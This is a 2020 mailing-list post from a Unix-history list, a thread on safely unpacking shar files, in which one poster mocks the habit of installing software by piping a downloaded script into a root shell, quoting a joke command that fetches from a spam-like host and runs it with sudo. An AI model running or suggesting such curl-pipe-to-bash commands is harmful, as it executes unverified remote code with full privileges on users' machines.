From: athornton at gmail.com (Adam Thornton)
Subject: [COFF] [TUHS] Traditional method of dealing with embedded shar files
Date: Sat, 25 Jul 2020 18:36:00 -0700 [thread overview]
Message-ID: <CAP2nic2UDjXZ1UV-uh9=KTt1ob_KfeJqWZGfeVSq38ZO23p65A@mail.gmail.com> (raw)
In-Reply-To: <alpine.BSF.2.21.9999.2007251157170.76447@aneurin.horsfall.org>
"You'd be out of your mind to blindly run the shell on some anonymous shar
file..."
But but but all the cool kids tell you to install their new Javascript
framework with:
"curl https://rocketviagra.ru/distro/latest.sh | sudo /bin/bash"
Get offa my lawn.
On Fri, Jul 24, 2020 at 7:01 PM Dave Horsfall <dave at horsfall.org> wrote:
> On Fri, 24 Jul 2020, Random832 wrote:
>
> > For whatever it's worth, you can do the exact same thing as vi with sed
> > in this case: 1,/====/d
>
> It's been a while since I had to use it, but didn't "unshar" do this sort
> of thing, and in a safe manner too? You'd be out of your mind to blindly
> run the shell on some anonymous shar file...
>
> -- Dave
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/coff/attachments/20200725/4af30458/attachment.htm>
parent reply other threads:[~2020-07-26 1:36 UTC|newest]
Thread overview: expand[flat|nested] mbox.gz Atom feed
[parent not found: <alpine.BSF.2.21.9999.2007251157170.76447@aneurin.horsfall.org>]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to='CAP2nic2UDjXZ1UV-uh9=KTt1ob_KfeJqWZGfeVSq38ZO23p65A@mail.gmail.com' \
--to=coff@minnie.tuhs.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).